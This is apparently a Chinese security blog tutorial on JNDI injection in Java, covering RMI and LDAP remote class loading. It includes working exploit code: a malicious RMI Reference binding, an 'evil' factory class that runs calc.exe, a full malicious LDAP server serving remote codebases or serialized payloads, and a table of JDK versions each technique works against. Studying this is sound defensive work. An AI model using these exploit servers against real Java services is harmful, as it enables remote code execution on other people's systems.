JNDI简介
JNDI(全称Java Naming and Directory Interface-Java命名与目录接口)是用于目录服务的Java API,它允许Java客户端通过名称发现和查找数据和资源(以Java对象的形式)。与主机系统接口的所有Java api一样,JNDI独立于底层实现。此外,它指定了一个服务提供者接口(SPI),该接口允许将目录服务实现插入到框架中。通过JNDI查询的信息可能由服务器、文件或数据库提供,选择取决于所使用的实现。
JNDI服务供应接口(SPI)包括多个部分,分别是:
- RMI (JAVA远程方法调用)
- LDAP (轻量级目录访问协议)
- CORBA (公共对象请求代理体系结构)
- DNS (域名服务)
- NIS
- NDS
QuickStart
首先使用类public InitialContext(Hashtable<?,?> environment)
初始化一个上下文,然后指定两个参数:
Context.INITIAL_CONTEXT_FACTORY
:决定context使用的协议。
Context.PROVIDER_URL
:远程地址。
最后执行InitialContext
的各种操作:bind、rebind、unbind、lookup等等,以RMI为例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| RMIServer1.RemoteHelloWorld remoteHelloWorld = new RMIServer1.RemoteHelloWorld(); Hashtable<String, String> hashtable = new Hashtable<>(); hashtable.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory"); hashtable.put(Context.PROVIDER_URL,"rmi://localhost:1099"); InitialContext initialContext1 = new InitialContext(hashtable); initialContext1.bind("hello",remoteHelloWorld); initialContext1.close();
RMIServer1.RemoteHelloWorld remoteHelloWorld = new RMIServer1.RemoteHelloWorld(); Hashtable<String, String> env = new Hashtable<>(); env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099"); InitialContext initialContext1 = new InitialContext(env); RMIServer1.IRemoteHelloWorld hello = (RMIServer1.IRemoteHelloWorld)initialContext1.lookup("hello"); hello.hello(new String());
|
当然这种方式是属于静态固定环境加载。
动态协议加载&Reference
动态加载
前面我们提到可以使用public InitialContext(Hashtable<?,?> environment)
创建上下文,在environment中指定协议类型与URL,如果不指定任何的urlInfo
,直接执行context的操作bind、lookup,JNDI又会如何加载呢?跟进发现这些绑定与查找的context方法都会先进入getURLOrDefaultInitCtx
:
然后有两处判断:
如果没有指定context信息,并且url里带协议URLScheme如rmi://xxx
、ldap:://xxx
则进入getURLContext
=>getURLObject
,注释中也给出了不同条件下的处理方式。
可以看到获取远程工厂类,如果获取不到则返回null,即远程类必须继承自ObjectFactory
。
Refence引用类包装
JNDI中存在一种特殊的引用对象Reference,它可以基于Class对象与地址构造一个引用,意味着我们可以用地址获取到Reference包装后得到对象,他有四种构造方法分别是:
- Reference(String className) 为类名为
className
的对象构造一个新的引用。
- Reference(String className, RefAddr addr) 为类名为
className
的对象、地址构造一个新引用。
- Reference(String className, RefAddr addr, String factory, String factoryLocation) 为类名为
className
的对象,对象工厂的类名、位置、对象的地址构造一个新引用。
- Reference(String className, String factory, String factoryLocation)为类名为
className
的对象、对象工厂的类名、位置构造一个新引用。
其中RefAddr就是Reference的地址,可以类比为地址(RefAddr)与指针(Reference)的关系。
值得注意的是,除了直接使用地址去获取Reference指向的对象之外,Reference
也支持C端以工厂类的方式去远程加载一个工厂类在本地创建对象。即Reference
支持封装工厂类并供远程加载。
JNDI&RMI
解析过程
在RMI我们讲到可以使用RMI协议远程类加载,并且类加载的路径为codebase。事实上java rmi提供了一个装饰类ReferenceWrapper
用以将JNDI中的Reference
包装成RMI中的Remote
远程对象,根据前文中提到的内容如果Reference
引用的是一个factory工厂类那么就会调用工厂类的getObjectInstance
方法,获取到factory后lookup的下一步就是执行decodeObject()
解析对象:
下一步获取Reference引用:
然后拿到Reference引用的工厂类:
下一步loadClass,注意这一步,首先尝试在本地ClassPath中加载类,否则就是用codebase加载,代码和注释都很清晰
- 注意使用codebase加载在jdk高版本(JDK >= 11.0.1、8u191、7u201、6u211)需要开启trustURLCodebase:
1
| System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
|
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| Registry registry = LocateRegistry.createRegistry(1099); Reference aa = new Reference("evil", "evil", "http://127.0.0.1:8000/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa); registry.bind("hello", refObjWrapper);
String uri = "rmi://127.0.0.1:1099/hello"; InitialContext initialContext = new InitialContext(); initialContext.lookup(uri);
public class evil implements ObjectFactory { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } }
@Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { System.out.println("evil code called !\n"); return null; } }
|
JNDI&LDAP
JNDI中的LDAP也支持远程类加载,有两种方式:
因此也派生出两种构造恶意LDAP服务器的利用方式。
注意:加载远程Reference依然受codebase的影响,即jdk>8u191的情况下默认无法利用;加载序列化数据不受版本影响,只要受害机存在对应的的反序列化利用链即可。
1.加载恶意Reference
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
|
public class LDAPServer0 {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) { String[] args=new String[]{"http://127.0.0.1:8000/#Spr1n9"}; int port = 8888;
try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening();
} catch ( Exception e ) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } }
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
|
1 2 3 4 5 6 7 8 9 10
| public class LDAPClient0 { public static void main(String[] args) throws Exception{ System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); String uri = "ldap://127.0.0.1:8888/aaa"; InitialContext initialContext = new InitialContext(); initialContext.lookup(uri);
} }
|
2.返回恶意序列化数据
这部分只需要修改sendResult方法即可,其它保持不变:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaSerializedData", Base64.decode("__BASE64_PAYLOAD__")); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); }
|
总结
攻击类型 |
适用jdk版本 |
需要条件 |
JNDI+RMI (Reference Remote Factory) |
<6u132, 7u122, 8u113 |
无 |
JNDI+RMI (Reference Local Factory) |
任意 |
调用端存在利用链 |
JNDI+LDAP (Reference Remote Codebase) |
<11.0.1, 8u191, 7u201, 6u211 |
无 |
JNDI+LDAP (Serialize Object) |
任意 |
调用端存在反序列化链 |
附录
JNDI定义详解
JNDI ==> Java Naming and Directory Interface
==> JAVA 名称和目录接口
Naming
Directory
Interface
为了方便在JAVA中使用目录协议,JAVA实现了一套目录服务的接口——JDNI,即Java 的名称与目录服务接口
,应用通过该接口与具体的目录服务进行交互。从设计上,JNDI
独立于具体的目录服务实现,因此可以针对不同的目录服务提供统一的操作接口。
JNDI
架构上主要包含两个部分,即 Java 的应用层接口和服务供应接口(SPI),如下图所示:
常用package
java实现JNDI服务主要在下面5个包中:
javax.naming
:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类;
javax.naming.directory
:主要用于目录操作,它定义了DirContext接口和InitialDir-Context类;
javax.naming.event
:在命名目录服务器中请求事件通知;
javax.naming.ldap
:提供LDAP支持;
javax.naming.spi
:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
REF
JNDI:
高版本bypass: